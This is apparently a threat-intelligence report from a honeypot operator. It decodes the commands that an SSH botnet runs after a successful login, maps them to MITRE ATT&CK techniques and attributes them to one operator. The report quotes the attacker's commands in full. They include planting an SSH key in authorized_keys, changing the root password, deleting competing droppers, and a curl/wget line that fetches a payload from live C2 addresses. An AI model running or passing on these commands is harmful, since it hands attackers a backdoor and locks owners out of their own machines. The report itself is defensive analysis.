๐ŸŸ  ACTIVE โ€” libssh Swarm Post-Auth ยท 3,060 Command Links ยท 2 Protocol Families ยท 176 IPs ยท 19-Command Intrusion Lifecycle

TI-2026-049B โ€” The Command Language

Series: The Swarm Protocol ยท Letter B of 6 ยท Published 2026
The previous letter identified the organism. This letter reads its language. After the SSH handshake, after the credential works, the swarm speaks โ€” and it speaks in exactly 19 commands. The same 19 commands. From Korea and Vietnam and the Dominican Republic. The same sequence, the same SSH key, the same sentinel download. 3,060 entity links connect 176 IPs through identical post-authentication behavior. The command sequence is not typed by a human. It is a protocol โ€” compiled, deterministic, and more revealing than the fingerprint that carried it.
๐Ÿ”‘ Same SSH Key Across 56 IPs 19-Command Intrusion Protocol 3,060 shares_commands Links 176 Unique IPs Outlaw/Shellbot Lineage (TI-2026-008) MITRE ATT&CK: T1082 T1098.004 T1070 T1496 Bridge IP: 0.11.x โ†” 0.12.0 Sentinel Download Verification

๐Ÿ“‹ Executive Summary

In Letter A, we identified the organism: 2,341 IPs across three libssh versions, all sharing actor cluster actor-6285990cc704. The HASSH fingerprint was the DNA. Now we read the organism's behavior โ€” what it does after it gets inside.

The entity linking system maintains 3,060 shares_commands relationships connecting 176 unique IPs that execute identical command sequences after successful SSH authentication. These links reveal two distinct post-authentication protocols:

  • Family 1 (hash a7aa36c3, 56 IPs): A 19-command intrusion lifecycle โ€” reconnaissance, hardware profiling, competitor eviction, and persistence via SSH key implant and root password change
  • Family 2 (hash 63ad4ae2, 7 IPs): An echo/cat sentinel test followed by malware download from distributed C2 infrastructure

The critical finding: the same SSH RSA public key appears in every Family 1 node, across Korea, Vietnam, and the Dominican Republic. One key. Fifty-six doors. One operator. This key was previously documented in TI-2026-008 as part of the Outlaw/Shellbot campaign โ€” extending the attribution chain across two dossier series and seven months of observation.

๐Ÿ”ฌ Part I โ€” Nineteen Lines of Intent

When the libssh swarm successfully authenticates to a target โ€” when the credential works โ€” it does not pause. It does not explore. It runs a script. The script contains exactly 19 commands, and they are identical whether the target is in Seoul, Ho Chi Minh City, or Santo Domingo.

Here is the complete protocol, decoded:

PHASE 1 โ€” IDENTITY: "Who am I?"

$ whoami
Confirm root access. If not root, the rest fails.
$ w
Who else is logged in? Operators watching? Risk assessment.
$ uname
OS name โ€” Linux, FreeBSD, SunOS?
$ uname -a
Full kernel version, hostname, architecture. The complete identity.
$ uname -m
Architecture: x86_64, aarch64, armv7l? Determines which binary to deploy.

PHASE 2 โ€” HARDWARE PROFILING: "Is this worth mining on?"

$ cat /proc/cpuinfo | grep name | wc -l
Count CPU cores. A 32-core server = high mining value.
$ cat /proc/cpuinfo | grep name | head -n 1 | awk ...
CPU model name โ€” Xeon = server, Atom = IoT, ARM = router.
$ cat /proc/cpuinfo | grep model | grep name | wc -l
Redundant core count โ€” compatibility fallback.
$ lscpu | grep Model
Alternative CPU method โ€” covers systems without /proc/cpuinfo.
$ free -m | grep Mem | awk ...
RAM total/used/free โ€” hosting capacity assessment.
$ df -h | head -n 2 | awk ...
Disk space โ€” can we stage malware here?
$ which ls
Full userland or busybox? Container or metal?
$ ls -lh $(which ls)
Binary size of ls โ€” detects static busybox (~1MB) vs glibc (~130K).
$ top
Running processes, CPU load โ€” is someone already mining?

PHASE 3 โ€” COMPETITOR EVICTION: "Clear the ground"

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; [clear hosts.deny]
Remove competing malware droppers. Clear IP bans. This host has been compromised before.

PHASE 4 โ€” PERSISTENCE: "This is mine now"

$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Remove immutable flags from .ssh directory โ€” clear previous protections.
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAA..." > .ssh/authorized_keys
THE KEY. Same RSA key on all 56 IPs. Permanent backdoor. TI-2026-008 match.
$ echo "root:<RANDOM-12-CHAR>"|chpasswd|bash
Change root password โ€” lock out the owner. Different password per victim.
$ crontab -l
Check existing cron โ€” assess persistence landscape before adding own.

Nineteen commands. Four phases. One intent: claim this machine for mining, keep it, and make sure no one else can take it back.

The password change deserves special attention. Each victim gets a different random 12-character password (e.g., JLgHsksVsLMO, yCvI0vHcNCYW, JWpKedT9Iw41). The operator does not need the password โ€” they have the SSH key. The password change is not for access. It is for denial. The owner of the machine can no longer log in as root. Their system is locked to them. The key is the only way in now.

๐Ÿ”‘ Part II โ€” One Key, Fifty-Six Doors

The SSH public key planted via authorized_keys is identical across every node in Family 1:

ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOโ€ฆ

This is a 2048-bit RSA key. The corresponding private key is held by the operator. With this key, the operator can SSH into any of the 56 compromised machines at any time, without a password, without triggering authentication logs that would show a password attempt.

This key was previously documented in TI-2026-008 โ€” The Backdoor-Key Harvester, published months earlier as part of the Outlaw/Shellbot coordinated campaign analysis. The match means one of two things:

Scenario A โ€” Same operator

The Outlaw/Shellbot operation documented in TI-2026-008 is the same group behind the libssh swarm's Family 1 post-auth protocol. The operation has been running for at least 7 months across our observation window.

Scenario B โ€” Shared toolkit

The SSH key and command sequence are part of a shared toolkit distributed to multiple operators. The key itself may be compromised or published. Less likely โ€” key-sharing defeats the purpose of persistence.

Scenario A is overwhelmingly more likely. An SSH backdoor key is the most sensitive operational asset an attacker possesses โ€” sharing it means sharing access to every compromised host. No rational operator shares their backdoor key. The key is the operator's identity.

โšก Part III โ€” The Second Family

Family 2 (hash 63ad4ae2, 7 IPs) operates a fundamentally different protocol. Where Family 1 profiles and persists, Family 2 tests and deploys:

$ >){'8k [binary garbage]
Shell probe โ€” tests how the shell handles non-UTF8 input.
$ echo 1 > /dev/null && cat /bin/echo
Sentinel test โ€” can we write to /dev/null AND read binaries?
$ head -c 3722808 > /tmp/CUfwctTWAu
Stage file โ€” write a 3.5MB file to /tmp (download placeholder).
$ nohup $SHELL -c "curl http://164.52.208.63:8881/linux -o /tmp/...; wget ..."
PAYLOAD DOWNLOAD โ€” fetches malware from C2. Different URL per IP.

The critical difference: each Family 2 IP downloads from a different C2 address.

Source IP Country C2 Download URL
101.132.144.220 ๐Ÿ‡จ๐Ÿ‡ณ CN (Alibaba) 164.52.208.63:8881/linux
43.156.136.244 ๐Ÿ‡ธ๐Ÿ‡ฌ SG (Tencent) 116.169.58.202:6429/linux

Distributed C2 is more sophisticated than Family 1's approach. If one download server is taken down, the others continue. Each compromised host is an independent supply chain โ€” the malware source is not centralized.

๐ŸŒ‰ Part IV โ€” The Bridge

One IP sits at the intersection of everything: 45.172.152.74 (Dominican Republic, AS27847).

What makes this IP special:

  • Appears in both the libssh 0.11.x campaign (hassh-03a80b21) and the libssh 0.12.0 campaign (hassh-af8223ac)
  • Executes the identical 19-command Family 1 protocol in both versions
  • Attributed to actor-6285990cc704

This is not two different nodes that happen to share an IP. This is one node that was upgraded in place โ€” the scanning library was updated from 0.11.x to 0.12.0 while the post-auth protocol remained unchanged. The scanner evolves. The protocol persists.

The bridge IP validates the thesis from Letter A: the three libssh versions are not three botnets. They are version upgrades of one operation. The bridge proves it โ€” the same node, the same commands, two library versions.

๐Ÿ—ก๏ธ Part V โ€” The Sentinel

Both command families use sentinel downloads โ€” test files downloaded before real malware to verify the download pipeline works.

Family 1 downloads two sentinels:

SHA256 Content Meaning
01ba4719c80b6fe9... Single newline (\n) The simplest possible download โ€” one byte. Proves the download path works.
a8460f446be54041... Secondary test payload Larger validation โ€” confirms file integrity through the full pipeline.

SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b is the hash of a file containing exactly one newline character. We verified this independently. The same sentinel appears in all three countries where Family 1 was observed. It is the download equivalent of "Can you hear me now?" โ€” a handshake before the payload.

This sentinel behavior was first documented in TI-2026-009, where it was described as "SHA-256(Hello World!\n)" โ€” the operator verifying the download primitive before the malware-delivery phase. The fact that we see it again, months later, on a larger swarm, means the technique persists across operational generations.

โš”๏ธ Part VI โ€” The War for the Machine

Phase 3 of the 19-command protocol โ€” competitor eviction โ€” reveals something the rest of the commands conceal: these targets are already compromised.

The command rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; [clear hosts.deny] removes two specific competing malware droppers and clears the IP ban file. This is not precaution. This is experience. The operator has encountered these competitors before. They know their file names. They know where they live.

The SSH Credential Economy โ€” Contested Territory

The existence of competitor eviction proves a broader ecosystem: multiple botnets scanning the same pool of vulnerable SSH servers, finding the same weak credentials, compromising the same machines, and then fighting each other for control. The libssh swarm is not the first to arrive at these targets. It is the latest to claim them.

This means the 90 successful logins documented in Letter A are not 90 fresh compromises โ€” they are 90 reconquests of machines that have been compromised multiple times by multiple actors. The SSH credential economy is a war, and each compromised host is contested territory.

๐Ÿ—บ๏ธ Part VII โ€” MITRE ATT&CK Mapping

The 19-command protocol maps cleanly to five MITRE ATT&CK techniques:

Technique ID Commands
System Information Discovery T1082 uname, cpuinfo, lscpu, free, df, whoami, w
Unix Shell T1059.004 All โ€” entire protocol is shell-based
SSH Authorized Keys T1098.004 rm .ssh โ†’ mkdir .ssh โ†’ echo key > authorized_keys
Indicator Removal T1070 rm secure.sh/auth.sh, echo > hosts.deny, chattr -ia
Resource Hijacking T1496 CPU/RAM profiling โ†’ mining valuation (implied)

Five techniques in 19 lines. A complete intrusion lifecycle compressed to under one kilobyte of shell script. This is not an attacker learning on the job. This is a compiled protocol, tested, refined, and deployed identically across 56 nodes on three continents.

โš–๏ธ Verdict โ€” The Protocol Is the Operator

  • [DOCUMENTED] 3,060 entity links prove 176 IPs execute identical post-auth command sequences.
  • [DOCUMENTED] Same SSH RSA key across all 56 Family 1 nodes โ€” single operator, matches TI-2026-008.
  • [DOCUMENTED] Bridge IP 45.172.152.74 appears in both 0.11.x and 0.12.0 with identical commands โ€” proving in-place upgrade.
  • [DOCUMENTED] Competitor eviction (rm secure.sh/auth.sh) proves targets are already compromised โ€” contested territory.
  • [INFERRED] Hardware profiling (5 CPU commands + RAM + disk) indicates cryptomining as primary motivation.
  • [INFERRED] Two command families suggest either operator segmentation or infrastructure-sharing (scanning layer vs. payload layer).

Letter A showed us the organism's body โ€” 2,341 IPs wearing three HASSH skins. This letter shows us its behavior โ€” 19 commands that constitute a protocol as deterministic as any network handshake. The HASSH fingerprint identifies the scanner. The command sequence identifies the operator. Together, they provide two independent layers of attribution: what software is knocking, and what it does when you let it in.

The next letter maps where the 84 flags fly โ€” the geographic and jurisdictional analysis of how the swarm distributes itself across countries to exploit the friction between legal systems.

๐Ÿ”— Related & Coming Next

โ† Prior

TI-2026-049A โ€” The Library That Moves

TI-2026-008 โ€” The Backdoor-Key Harvester (same SSH key)

TI-2026-048A โ€” The Nine Commands

โ†’ Next in Series

TI-2026-049C โ€” "Eighty-Four Flags" โ€” jurisdiction arbitrage analysis

TI-2026-049D โ€” "The Version Tree" โ€” CVE history of libssh

Sources: Cowrie honeypot ยท entity_links (shares_commands) ยท AbuseIPDB ยท Shodan ยท MITRE ATT&CK ยท TI-2026-008 ยท TI-2026-009 ยท TI-2026-048A
Investigation: TI-2026-049B ยท 8 evidence ยท 3 actors ยท 6 findings ยท 6 connections ยท 6 infrastructure
Confidence: HIGH โ€” direct honeypot observation + cross-dossier SSH key match + entity link correlation
Classification: TLP:WHITE

โš  Personal capacity. Research published independently โ€” not reflecting employer views. Derived from passive observation of attacks against personal infrastructure. Full disclaimer โ†’
โ† Previous The Swarm Protocol โ€” 2 / 6 Next โ†’